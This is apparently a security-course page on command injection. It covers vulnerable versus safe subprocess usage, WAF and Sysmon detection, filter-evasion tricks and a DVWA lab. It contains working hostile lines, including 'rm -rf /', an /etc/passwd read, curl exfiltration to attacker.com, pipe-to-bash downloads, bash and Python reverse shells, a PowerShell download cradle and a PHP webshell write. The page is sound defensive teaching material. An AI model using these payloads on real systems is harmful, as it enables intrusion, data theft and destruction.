Skip to content

Command Injection

Command injection is when an application passes user-controlled data as an argument to a shell (/bin/sh, cmd.exe) and the shell interprets shell metacharacters (;, |, &, `, $(), >, <, &&, ||) as control operators. CVE-2014-6271 (Shellshock) was command injection via environment variables in bash; CVE-2017-5638 (Apache Struts) was a Content-Type header reaching a Runtime.exec; CVE-2019-11043 (PHP-FPM fastcgi_split_path_info) was a regex bug that allowed RCE through unsanitized URI parts reaching shell. The cost is direct RCE — there is no escalation phase.

A shell parses input into a token stream, splits on whitespace and metacharacters, and executes commands. If the application builds a command line via string concatenation, every shell metacharacter in user input is a control-flow instruction to the shell.

Vulnerable Python:
os.system("nslookup " + user_input)
user_input = "x.com; rm -rf /"
→ shell parses: nslookup x.com ; rm -rf /
───────────── ────────
normal cmd attacker cmd
Safe Python:
subprocess.run(["nslookup", user_input], shell=False)
→ execve("/usr/bin/nslookup", ["nslookup", "x.com; rm -rf /"], env)
→ shell is never invoked; metacharacters are literal argv

The defense is to never invoke a shell. Use execve-style APIs that pass argv directly — subprocess.run(..., shell=False), Runtime.exec(String[]), child_process.execFile. The shell is the parser; if you don’t invoke the parser, there is no injection.

  1. Find the sink — os.system, subprocess.run(..., shell=True), popen (PHP, Node child_process.exec), Runtime.getRuntime().exec(String) (Java single-string form parses by StringTokenizer, splitting on whitespace — cmd & notepad becomes ["cmd", "&", "notepad"], which on Windows spawns two processes).
  2. Identify injection point — anywhere user input flows into the command line. Ping/traceroute forms, DNS lookup utilities, image processors that shell out (convert, ffmpeg), PDF generators that shell out (wkhtmltopdf).
  3. Probe with metacharacters — ;, |, &&, ||, newline, ; sleep 5, $(sleep 5). A time delay is the cleanest confirmation.
  4. Read output (if visible) — ; cat /etc/passwd, | id, && whoami. If output is not reflected, blind command injection via OOB: ; curl http://attacker/?$(whoami).
  5. Escalate — on Linux, (curl http://attacker/x || wget http://attacker/x) | bash for a one-liner reverse shell. On Windows, powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/p.ps1')".
TechniqueDescriptionDetection Difficulty
; chained command; rm -rf / runs after the legit commandEasy — ; in URL is suspicious
&& / `` conditional
Backtick / $() substitution`id` or $(id) substitutes output into the commandMedium — needs to match $(
Pipe ```
Newline \n / \r\nSome sinks split on newline (mail headers, cron)Medium — newline in URL is unusual
Output redirection >> /var/www/html/shell.php writes fileMedium — > in URL
IFS abuseIFS=,; cmd=ls,.,,; $cmd — space-free executionHard — defeats space-only filters
Wildcard expansiontar czf x.tar.gz * where attacker controls filename with shell metacharsHard — argument-level injection
PHP system / passthru / exec / shell_execPHP’s system() family — all vulnerable when concatenatingEasy — input echoed
Terminal window
# Test a ping form for injection
curl "http://target/ping?host=8.8.8.8;id"
curl "http://target/ping?host=8.8.8.8%26%26whoami" # &&whoami URL-encoded
curl "http://target/ping?host=8.8.8.8%7Cid" # |id
# Time-based blind command injection
curl "http://target/ping?host=8.8.8.8;sleep+5"
# Measure response time; >5s = injection confirmed
# Blind command injection with OOB callback (Linux)
curl "http://target/ping?host=8.8.8.8;curl%20http://$(whoami).attacker.com"
# commix — automated command injection tool
python3 commix.py --url="http://target/ping?host=INJECT_HERE" --batch \
--technique=t --time-delay=5 --os=linux
# Find shell sinks in source
grep -rEnE '\b(?:os\.system|os\.popen|subprocess\.(call|run|Popen).*shell\s*=\s*True|commands\..*)' src/
# PHP sinks
grep -rEnE '\b(?:system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec)\s*\(' htdocs/
# Node.js sinks (child_process.exec is shell; execFile is not)
grep -rEnE 'child_process\.(exec|execSync)\s*\(' src/
# Java sinks — Runtime.exec(String) splits on whitespace; ProcessBuilder is safe
grep -rEnE 'Runtime\.getRuntime\(\)\.exec\s*\(\s*\"' src/
grep -rEnE 'Runtime\.getRuntime\(\)\.exec\s*\(\s*[^[][^,]*\+' src/
# Confirm with reverse shell (one-liner)
# Linux bash:
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
# Linux Python:
python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("10.0.0.1",4444)); [os.dup2(s.fileno(),f) for f in (0,1,2)]; subprocess.call(["/bin/sh","-i"])'
# Windows PowerShell:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/p.ps1')"
# nuclei command injection templates
nuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags rce,command-injection

ModSecurity OWASP CRS rule 932100 family — Remote Command Execution. Notable:

  • 932100 — RCE — Unix Command Injection (large keyword list)
  • 932105 — RCE — Unix Command Injection direct access
  • 932110 — RCE — Windows Command Injection
  • 932115 — RCE — Windows Command Injection direct access
  • 932120 — RCE — Windows PowerShell Command found
  • 932130 — RCE — Unix Shell History function (e.g., !100)
  • 932140 — RCE — Windows FOR /F command
  • 932150 — RCE — Unix Command Injection direct access (high paranoia)
  • 932160 — RCE — Unix Shell Code
  • 932170 — RCE — Shellshock (CVE-2014-6271)

Suricata SID 2221004 — shell metacharacters in HTTP arguments [verify].

Sysmon Event ID 1 — ProcessCreate with parent cmd.exe / bash / sh from a web server (w3wp.exe, php-cgi.exe, nginx, apache2). Combined with Event ID 11 (FileCreate) for the webshell dropped after RCE.

MITRE ATT&CK T1059.004 — Unix Shell (bash, sh). MITRE ATT&CK T1059.001 — PowerShell. MITRE ATT&CK T1059.003 — Windows Command Shell (cmd.exe). MITRE ATT&CK T1190 — Exploit Public-Facing Application (the entry point). MITRE ATT&CK T1505.003 — Web Shell (after the injection, the next move is usually a persistent webshell).

Wazuh rule 920/31100 — Shell command pattern in HTTP request [verify].

Wazuh rule 87100 — Web server parent spawning shell interpreter [verify].

IFS substitution. When spaces are blocked, change the Internal Field Separator: IFS=,; cmd=ls,-la,/tmp; $cmd runs ls -la /tmp with no spaces in the payload. Defense: block IFS= substring entirely.

Brace expansion. {ls,-la,/tmp} expands to ls -la /tmp in bash. The payload has no spaces but executes a multi-word command. Defense: block {...,...} patterns.

Base64 + decode. When specific commands are blocked, use echo bHM=|base64 -d|bash — bHM= is ls base64. The string bHM= doesn’t match a keyword rule. Defense: block base64 -d or pipe-to-shell pattern.

Hex escape. \x77\x68\x6f\x61\x6d\x69 is whoami in C-string form. Some interpreters expand it (bash with printf, echo -e).

Quote obfuscation. w'h'o'a'm'i — bash strips single quotes from inside unquoted strings; the result is whoami. Defense: strip single quotes from input before pattern matching.

Wildcard globs. /?in/?h matches /bin/sh in many shells. Defense: block leading / in URL params.

EvasionBypassesDefense
IFS=, then comma-separated argsSpace-only filterBlock IFS= and ,
Brace expansion {a,b}Space-only filterBlock braces in args
echo base64|bashKeyword filter on bashBlock base64 and pipe-to-shell patterns
Single-quote interleavingKeyword regexPre-strip quotes before matching
/?in/?h wildcardFull path matchersBlock leading / in params
Backtick `cmd` or $(cmd);/`` filter
\n newline injectionSingle-line regexTreat input as multiline before matching

⚠️ What caught me: A target filtered ;, |, &, `, $(, >, < — full metacharacter blocklist. I assumed it was safe until I realized the input was used as a filename argument: convert input.${userInput} /tmp/out.png. The user input was x.png -write /var/www/html/shell.php -set comment '<?php system($_GET[0])?>'. ImageMagick processed the arguments as ImageMagick options, not as a shell command — convert itself became the injection target, and the > shell redirection never happened. The lesson: argument injection is a separate class from shell injection. When user input is a single argv element, it can still be parsed by the receiving program’s own argument parser (find, tar, zip, convert, curl).

Container: OWASP Juice Shop command injection challenge (/score-board filter “Command Injection”), or DVWA’s Command Injection module.

low/medium/high
docker run --rm -d -p 80:80 vulnerables/web-dvwa
# Module: Command Injection — ping a host

Objective: solve DVWA’s “Command Injection” at high level (where the input is stripslashes-d and a str_replace removes & and ;). Demonstrate the bypass via | and $().

Expected flag format: flag{cmd_injection_dvwa_high_bypass_pipe_and_subshell}.

Detection that should fire: ModSecurity 932100 family on every payload; on the high level, expect time-based detection (5s sleep trigger matches the time-based blind signature).

Conceptual: explain the difference between shell injection and argument injection. Give one example of each and explain why a regex that blocks ;|& is sufficient defense for one but not the other.

Technical: walk through what subprocess.run("nslookup " + user_input, shell=True) does internally that subprocess.run(["nslookup", user_input], shell=False) does not. Name the system call that the shell=False version uses instead of /bin/sh -c.

Scenario: a target blocks ;|&\$()` but allows spaces and parentheses. Describe a working command-injection payload and the bash feature that enables it.

Why does Java’s Runtime.getRuntime().exec(String) introduce command injection even when no shell is explicitly invoked, and what is the correct fix?

Compare child_process.exec(cmd, callback) and child_process.execFile(file, args, callback) in Node.js. What is the security implication of passing the shell: true option to execFile?

→ W1 (OWASP Top 10 Overview) · W2 (SQL Injection) · P1 (Shellcode Fundamentals)